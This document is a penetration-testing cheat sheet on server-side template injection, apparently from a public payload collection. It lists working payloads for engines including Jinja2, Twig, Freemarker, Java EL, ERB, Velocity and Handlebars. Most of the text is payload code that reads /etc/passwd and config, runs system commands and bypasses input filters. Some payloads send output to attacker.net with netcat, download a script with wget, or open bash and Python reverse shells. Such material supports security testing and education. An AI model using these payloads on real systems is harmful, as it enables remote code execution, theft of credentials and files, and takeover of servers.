# Templates Injections > Template injection allows an attacker to include template code into an existing (or not) template. A template engine makes designing HTML pages easier by using static template files which at runtime replaces variables/placeholders with actual values in the HTML pages ## Summary * [Tools](#tools) * [Methodology](#methodology) * [Ruby](#ruby) * [Basic injections](#ruby---basic-injections) * [Retrieve /etc/passwd](#ruby---retrieve--etc-passwd) * [List files and directories](#ruby---list-files-and-directories) * [Java](#java) * [Basic injection](#java---basic-injection) * [Retrieve the system’s environment variables](#java---retrieve-the-system-s-environment-variables) * [Retrieve /etc/passwd](#java---retrieve--etc-passwd) * [Expression Language EL](#expression-language-el) * [Basic injection](#expression-language-el---basic-injection) * [Code execution](#expression-language-el---code-execution) * [Twig](#twig) * [Basic injection](#twig---basic-injection) * [Template format](#twig---template-format) * [Arbitrary File Reading](#twig---arbitrary-file-reading) * [Code execution](#twig---code-execution) * [Smarty](#smarty) * [Freemarker](#freemarker) * [Basic injection](#freemarker---basic-injection) * [Code execution](#freemarker---code-execution) * [Pebble](#pebble) * [Basic injection](#pebble---basic-injection) * [Code execution](#pebble---code-execution) * [Jade / Codepen](#jade---codepen) * [Velocity](#velocity) * [Mako](#mako) * [Jinja2](#jinja2) * [Basic injection](#jinja2---basic-injection) * [Template format](#jinja2---template-format) * [Debug Statement](#jinja2---debug-statement) * [Dump all used classes](#jinja2---dump-all-used-classes) * [Dump all config variables](#jinja2---dump-all-config-variables) * [Read remote file](#jinja2---read-remote-file) * [Write into remote file](#jinja2---write-into-remote-file) * [Remote Code Execution](#jinja2---remote-code-execution) * [Filter bypass](#jinja2---filter-bypass) * [Jinjava](#jinjava) * [Basic injection](#jinjava---basic-injection) * [Command execution](#jinjava---command-execution) * [Handlebars](#handlebars) * [ASP.NET Razor](#aspnet-razor) * [Basic injection](#aspnet-razor---basic-injection) * [Command execution](#aspnet-razor---command-execution) * [References](#references) ## Tools Recommended tool: [Tplmap](https://github.com/epinna/tplmap) e.g: ```powershell python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link" python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade ``` ## Methodology ![SSTI cheatsheet workflow](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/Images/serverside.png?raw=true) ## Ruby ### Ruby - Basic injections ERB: ```ruby <%= 7 * 7 %> ``` Slim: ```ruby #{ 7 * 7 } ``` ### Ruby - Retrieve /etc/passwd ```ruby <%= File.open('/etc/passwd').read %> ``` ### Ruby - List files and directories ```ruby <%= Dir.entries('/') %> ``` ### Ruby - Code execution Execute code using SSTI for ERB engine. ```ruby <%= system('cat /etc/passwd') %> <%= `ls /` %> <%= IO.popen('ls /').readlines() %> <% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%> <% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%> ``` Execute code using SSTI for Slim engine. ```powershell #{ %x|env| } ``` ## Java ### Java - Basic injection ```java ${7*7} ${{7*7}} ${class.getClassLoader()} ${class.getResource("").getPath()} ${class.getResource("../../../../../index.htm").getContent()} ``` ### Java - Retrieve the system’s environment variables ```java ${T(java.lang.System).getenv()} ``` ### Java - Retrieve /etc/passwd ```java ${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')} ${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())} ``` ## Expression Language EL ### Expression Language EL - Basic injection ```java ${1+1} #{1+1} ``` ### Expression Language EL - Code Execution ```java // Common RCE payloads ''.class.forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec() ''.class.forName('java.lang.ProcessBuilder').getDeclaredConstructors()[1].newInstance().start() // Method using Runtime #{session.setAttribute("rtc","".getClass().forName("java.lang.Runtime").getDeclaredConstructors()[0])} #{session.getAttribute("rtc").setAccessible(true)} #{session.getAttribute("rtc").getRuntime().exec("/bin/bash -c whoami")} // Method using processbuilder ${request.setAttribute("c","".getClass().forName("java.util.ArrayList").newInstance())} ${request.getAttribute("c").add("cmd.exe")} ${request.getAttribute("c").add("/k")} ${request.getAttribute("c").add("ping x.x.x.x")} ${request.setAttribute("a","".getClass().forName("java.lang.ProcessBuilder").getDeclaredConstructors()[0].newInstance(request.getAttribute("c")).start())} ${request.getAttribute("a")} // Method using Reflection & Invoke ${"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke("".getClass().forName("java.lang.Runtime")).exec("calc.exe")} // Method using ScriptEngineManager one-liner ${request.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\\\"ping x.x.x.x\\\")"))} // Method using ScriptEngineManager ${facesContext.getExternalContext().setResponseHeader("output","".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval(\"var x=new java.lang.ProcessBuilder;x.command(\\\"wget\\\",\\\"http://x.x.x.x/1.sh\\\");org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\"))} ``` ## Twig ### Twig - Basic injection ```python {{7*7}} {{7*'7'}} would result in 49 {{dump(app)}} {{app.request.server.all|join(',')}} ``` ### Twig - Template format ```python $output = $twig > render ( 'Dear' . $_GET['custom_greeting'], array("first_name" => $user.first_name) ); $output = $twig > render ( "Dear {first_name}", array("first_name" => $user.first_name) ); ``` ### Twig - Arbitrary File Reading ```python "{{'/etc/passwd'|file_excerpt(1,30)}}"@ ``` ### Twig - Code execution ```python {{self}} {{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}} {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}} {{['id']|filter('system')}} {{['cat\x20/etc/passwd']|filter('system')}} {{['cat$IFS/etc/passwd']|filter('system')}} ``` Example with an email passing FILTER_VALIDATE_EMAIL PHP. ```powershell POST /subscribe?0=cat+/etc/passwd HTTP/1.1 email="{{app.request.query.filter(0,0,1024,{'options':'system'})}}"@attacker.tld ``` ## Smarty ```python {$smarty.version} {php}echo `id`;{/php} {Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"",self::clearConfig())} ``` ## Freemarker You can try your payloads at [https://try.freemarker.apache.org](https://try.freemarker.apache.org) ### Freemarker - Basic injection The template can be `${3*3}` or the legacy `#{3*3}` ### Freemarker - Code execution ```js <#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")} [#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')} ${"freemarker.template.utility.Execute"?new()("id")} ``` ## Pebble ### Pebble - Basic injection ```java {{ someString.toUPPERCASE() }} ``` ### Pebble - Code execution Old version of Pebble ( < version 3.0.9): `{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}`. New version of Pebble : ```java {% set cmd = 'id' %} {% set bytes = (1).TYPE .forName('java.lang.Runtime') .methods[6] .invoke(null,null) .exec(cmd) .inputStream .readAllBytes() %} {{ (1).TYPE .forName('java.lang.String') .constructors[0] .newInstance(([bytes]).toArray()) }} ``` ## Jade / Codepen ```python - var x = root.process - x = x.mainModule.require - x = x('child_process') = x.exec('id | nc attacker.net 80') ``` ```javascript #{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout} ``` ## Velocity ```python #set($str=$class.inspect("java.lang.String").type) #set($chr=$class.inspect("java.lang.Character").type) #set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami")) $ex.waitFor() #set($out=$ex.getInputStream()) #foreach($i in [1..$out.available()]) $str.valueOf($chr.toChars($out.read())) #end ``` ## Mako ```python <% import os x=os.popen('id').read() %> ${x} ``` ## Jinja2 [Official website](http://jinja.pocoo.org/) > Jinja2 is a full featured template engine for Python. It has full unicode support, an optional integrated sandboxed execution environment, widely used and BSD licensed. ### Jinja2 - Basic injection ```python {{4*4}}[[5*5]] {{7*'7'}} would result in 7777777 {{config.items()}} ``` Jinja2 is used by Python Web Frameworks such as Django or Flask. The above injections have been tested on Flask application. ### Jinja2 - Template format ```python {% extends "layout.html" %} {% block body %} {% endblock %} ``` ### Jinja2 - Debug Statement If the Debug Extension is enabled, a `{% debug %}` tag will be available to dump the current context as well as the available filters and tests. This is useful to see what’s available to use in the template without setting up a debugger. ```python
{% debug %}
``` Source: https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement ### Jinja2 - Dump all used classes ```python {{ [].class.base.subclasses() }} {{''.class.mro()[1].subclasses()}} {{ ''.__class__.__mro__[2].__subclasses__() }} ``` ### Jinja2 - Dump all config variables ```python {% for key, value in config.iteritems() %}
{{ key|e }}
{{ value|e }}
{% endfor %} ``` ### Jinja2 - Read remote file ```python # ''.__class__.__mro__[2].__subclasses__()[40] = File class {{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }} {{ config.items()[4][1].__class__.__mro__[2].__subclasses__()[40]("/tmp/flag").read() }} ``` ### Jinja2 - Write into remote file ```python {{ ''.__class__.__mro__[2].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }} ``` ### Jinja2 - Remote Code Execution Listen for connection ```bash nv -lnvp 8000 ``` #### Exploit the SSTI by calling subprocess.Popen. :warning: the number 396 will vary depending of the application. ```python {{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}} {{config.__class__.__init__.__globals__['os'].popen('ls').read()}} ``` #### Exploit the SSTI by calling Popen without guessing the offset ```python {% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %} ``` Simply modification of payload to clean up output and facilitate command input (https://twitter.com/SecGus/status/1198976764351066113) In another GET parameter include a variable named "input" that contains the command you want to run (For example: &input=ls) ```python {% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%} ``` #### Exploit the SSTI by writing an evil config file. ```python # evil config {{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }} # load the evil config {{ config.from_pyfile('/tmp/evilconfig.cfg') }} # connect to evil host {{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }} ``` ### Jinja2 - Filter bypass ```python request.__class__ request["__class__"] ``` Bypassing `_` ```python http://localhost:5000/?exploit={{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}&class=class&usc=_ {{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}} {{request|attr(["_"*2,"class","_"*2]|join)}} {{request|attr(["__","class","__"]|join)}} {{request|attr("__class__")}} {{request.__class__}} ``` Bypassing `[` and `]` ```python http://localhost:5000/?exploit={{request|attr((request.args.usc*2,request.args.class,request.args.usc*2)|join)}}&class=class&usc=_ or http://localhost:5000/?exploit={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_ ``` Bypassing `|join` ```python http://localhost:5000/?exploit={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_ ``` Bypassing most common filters ('.','_','|join','[',']','mro' and 'base') by https://twitter.com/SecGus: ```python {{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}} ``` ## Jinjava ### Jinjava - Basic injection ```python {{'a'.toUpperCase()}} would result in 'A' {{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206 ``` Jinjava is an open source project developed by Hubspot, available at [https://github.com/HubSpot/jinjava/](https://github.com/HubSpot/jinjava/) ### Jinjava - Command execution Fixed by https://github.com/HubSpot/jinjava/pull/230 ```python {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}} {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}} {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}} {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}} ``` ## Handlebars ### Handlebars - Command Execution ```handlebars {{#with "s" as |string|}} {{#with "e"}} {{#with split as |conslist|}} {{this.pop}} {{this.push (lookup string.sub "constructor")}} {{this.pop}} {{#with string.split as |codelist|}} {{this.pop}} {{this.push "return require('child_process').execSync('ls -la');"}} {{this.pop}} {{#each conslist}} {{#with (string.sub.apply 0 codelist)}} {{this}} {{/with}} {{/each}} {{/with}} {{/with}} {{/with}} {{/with}} ``` ## ASP.NET Razor ### ASP.NET Razor - Basic injection ```powershell @(1+2) ``` ### ASP.NET Razor - Command execution ```csharp @{ // C# code } ``` ## References * [https://nvisium.com/blog/2016/03/11/exploring-ssti-in-flask-jinja2-part-ii/](https://nvisium.com/blog/2016/03/11/exploring-ssti-in-flask-jinja2-part-ii/) * [Yahoo! RCE via Spring Engine SSTI](https://hawkinsecurity.com/2017/12/13/rce-via-spring-engine-ssti/) * [Ruby ERB Template injection - TrustedSec](https://www.trustedsec.com/2017/09/rubyerb-template-injection/) * [Gist - Server-Side Template Injection - RCE For the Modern WebApp by James Kettle (PortSwigger)](https://gist.github.com/Yas3r/7006ec36ffb987cbfb98) * [PDF - Server-Side Template Injection: RCE for the modern webapp - @albinowax](https://www.blackhat.com/docs/us-15/materials/us-15-Kettle-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-wp.pdf) * [VelocityServlet Expression Language injection](https://magicbluech.github.io/2017/12/02/VelocityServlet-Expression-language-Injection/) * [Cheatsheet - Flask & Jinja2 SSTI - Sep 3, 2018 • By phosphore](https://pequalsnp-team.github.io/cheatsheet/flask-jinja2-ssti) * [RITSEC CTF 2018 WriteUp (Web) - Aj Dumanhug](https://medium.com/@ajdumanhug/ritsec-ctf-2018-writeup-web-72a0e5aa01ad) * [RCE in Hubspot with EL injection in HubL - @fyoorer](https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html?spref=tw) * [Jinja2 template injection filter bypasses - @gehaxelt, @0daywork](https://0day.work/jinja2-template-injection-filter-bypasses/) * [Gaining Shell using Server Side Template Injection (SSTI) - David Valles - Aug 22, 2018](https://medium.com/@david.valles/gaining-shell-using-server-side-template-injection-ssti-81e29bb8e0f9) * [EXPLOITING SERVER SIDE TEMPLATE INJECTION WITH TPLMAP - BY: DIVINE SELORM TSA - 18 AUG 2018](https://www.owasp.org/images/7/7e/Owasp_SSTI_final.pdf) * [Server Side Template Injection – on the example of Pebble - MICHAŁ BENTKOWSKI | September 17, 2019](https://research.securitum.com/server-side-template-injection-on-the-example-of-pebble/) * [Server-Side Template Injection (SSTI) in ASP.NET Razor - Clément Notin - 15 APR 2020](https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/) * [Expression Language injection - PortSwigger](https://portswigger.net/kb/issues/00100f20_expression-language-injection) * [Bean Stalking: Growing Java beans into RCE - July 7, 2020 - Github Security Lab](https://securitylab.github.com/research/bean-validation-RCE) * [Remote Code Execution with EL Injection Vulnerabilities - Asif Durani - 29/01/2019](https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf) * [Handlebars template injection and RCE in a Shopify app ](https://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html) * [Lab: Server-side template injection in an unknown language with a documented exploit](https://portswigger.net/web-security/server-side-template-injection/exploiting/lab-server-side-template-injection-in-an-unknown-language-with-a-documented-exploit)